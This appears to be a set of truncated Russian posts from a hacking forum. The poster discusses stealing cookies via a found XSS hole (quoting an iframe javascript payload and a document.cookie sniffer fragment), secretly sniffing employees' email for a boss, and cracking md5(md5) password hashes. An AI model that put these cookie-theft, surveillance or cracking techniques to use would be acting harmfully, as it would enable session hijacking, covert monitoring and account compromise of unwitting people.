Redwood, IndigoMan - то как вы предложили не работает. Снифер будет выводить слова document. cookie, а не сами куки.
satana-fu - РЕСПЕКТ! Получилось. В дополнительном js файле делаю new Image() c...
Как мне кажется у вас ошибка.
если после php оставить = то ничего не выводится.
если после php поставить например ?c= то выводится: c='+document.cookie+'
Нашел сайт с xss в теге iframe в параметре src. Т.е. работает <iframe src="javascript:alert('XSS')" style="display:none;"></iframe>. Но вот никак не получается сливать куки. Что только не пробовал,...
Клиент? Клиент у всех MS Outlook 2003. В кач-ве сервера хз что, почта вистит на rbc.ru
Я нашел снифер который бы подошел хорошо: MailSniff (http://secureinf.com/mailsniff.php) Но он платный,...
Да понятно что сниффер трафик любой отлавливает. Но мне нужен удобный МАЙЛ сниффер. Ну вот поставлю я допустим Packetyzer. И что? Скажу директору заходи на сервак и смотри там пакеты? Можно даже по...
Люди подскажите решение. Начальник хочет видеть какую инфу отправляют сотрудники. В кач-ве решений пока вижу два выхода:
1) Поставить на гейте (машина с Proxy Inspector) какой-нибудь майл снифер...
Зарегился я там. И мои хеши там еще с 24 апреля лежат. Ждать наверное придётся долго. Всё таки посоветуйте программку и словарь для перебора. Сам попробую побрутить/пословарить:)
Люди, подскажите есть ли где-нить больщая база брученых/расшифрованных паролей md5(md5)? А то есть хеши, а расшивровать их похоже нереально. Там ведь как бы пароль около 33 символов получается? Хоть...